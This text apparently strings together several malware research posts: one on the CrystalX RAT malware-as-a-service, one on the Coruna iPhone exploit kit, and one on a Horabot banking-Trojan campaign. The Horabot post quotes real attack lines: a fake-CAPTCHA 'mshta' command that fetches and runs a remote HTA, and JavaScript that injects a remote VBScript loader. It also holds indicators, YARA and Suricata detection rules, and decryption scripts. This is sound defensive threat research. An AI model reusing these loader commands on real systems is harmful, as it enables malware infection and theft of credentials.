To stay safe and avoid losing your money, use reliable security solutions that are able to prevent your device form being infected. Download software only from official sources. If for some reason you can’t use a reputable paid solution, we highly recommend thoroughly vetting the sites you use to download software.

Indicators of compromise

URLs
https[:]//pastebin[.]com/raw/FmpsDAtQ
https[:]//snippet[.]host/aaxniv/raw
https[:]//chiaselinks[.]com/raw/nkkywvmhux
https[:]//rlim[.]com/55Dfq32kaR/raw
https[:]//paste.kealper[.]com/raw/k3K5aPJQ
https[:]//git.parat[.]swiss/rogers7/dev-api/raw/master/cpzn
https[:]//pinhole[.]rootcode[.]ru/rogers7/dev-api/raw/master/cpzn
https[:]//github[.]com/lukecodix/Proxifier/releases/download/4.12/Proxifier.zip
https[:]//gist.github[.]com/msfcon5ol3/107484d66423cb601f418344cd648f12/raw/d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7/upxz

Hashes
34a0f70ab100c47caaba7a5c85448e3d
7528bf597fd7764fcb7ec06512e073e0
8354223cd6198b05904337b5dff7772b

Introduction

In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.

Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.

Technical details

Background

The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.

After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.

The builder and anti-debug features

By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:

• MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
• VM detect: checking running processes, presence of guest tools, and hardware characteristics
• Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
• Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump

Stealer capabilities

When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.

The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.

Keylogger & clipper

Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:

1. The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
2. A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
3. The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
4. The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.

The final script looks as follows:

Remote access

The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.

Prank commands

The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.

• Setting a background: downloading an image from a specified URL and using it as the desktop background.
• Display orientation: rotating the screen 90°, 180°, or 270°.
• System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
• Remapping mouse buttons: swapping left click with right click and the other way round.
• Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
• Notifications: displaying a window with a custom title and message.
• Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
• Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.

Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.

Conclusions

The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.

Indicators of Compromise

# C2 infrastructure
webcrystal[.]lol
webcrystal[.]sbs
crystalxrat[.]top

# CrystalX RAT implants
47ACCB0ECFE8CCD466752DDE1864F3B0
2DBE6DE177241C144D06355C381B868C
49C74B302BFA32E45B7C1C5780DD0976
88C60DF2A1414CBF24430A74AE9836E0
E540E9797E3B814BFE0A82155DFE135D
1A68AE614FB2D8875CB0573E6A721B46

Introduction

On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.

Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).

Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.

During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.

Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.

Technical details

While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.

Safari

Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.

Payload

The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.

First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.

The file format used by the exploit kit to store compressed data

Offset	Field
0x00	Magic number (0xBEDF00D)
0x04	Decompressed data size
0x08	LZMA-compressed data

The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.

The file format used by the exploit kit to store files

Offset	Field
0x00	Magic number (0xF00DBEEF)
0x04	Number of entries
0x08	Entry[0].File ID
0x0C	Entry[0].Status
0x10	Entry[0].File offset
0x14	Entry[0].File size

We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.

Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.

The file format used by the exploit kit to store information about file packages

Offset	Field
0x00	Magic number (0x12345678)
0x04	Flags
0x08	Directory path
0x108	Number of entries
0x10C	Entry[0].Package ID
0x110	Entry[0].ChaCha20 key
0x130	Entry[0].File name

The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:

• 0xF2 – exploit for ARM64,
• 0xF3 – exploit for ARM64E,
• 0xA2 – Mach-O loader for ARM64,
• 0xA3 – Mach-O loader for ARM64E,
• 2 – implant for ARM64,
• 0xE2 – implant for ARM64E.

The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.

Other bytes of the Package ID define the supported firmware version and CPU generation.

Some of the observed Package IDs (those with unique content)

Package ID	Description
0xF3300000	Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000	Kernel exploit (iOS < 14.7) and other components
0xF3700000	Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000	Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000	Kernel exploit (iOS < 17.2) and other components
0xA3030000	Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000	Mach-O loader (iOS 16.0 – 16.4)

The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.

Observed File IDs

File ID	Description
0x10000	Implant
0x50000	Mach-O loader (default)
0x70000	List of additional components
0x70005	Launcher config
0x80000	Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000	Kernel exploit
0x90001	Kernel exploit (for Mach-O loader)
0xA0000	Logs cleaner
0xA0001	Mach-O loader component
0xA0002	Mach-O loader component
0xF0000	RPC stager

After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.

Kernel exploits

We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:

• The code takes into account more values ​​from XNU version strings, allowing for more accurate version checking.
• Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
• Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
• Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.

Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.

Launcher

The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.

Conclusions

This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
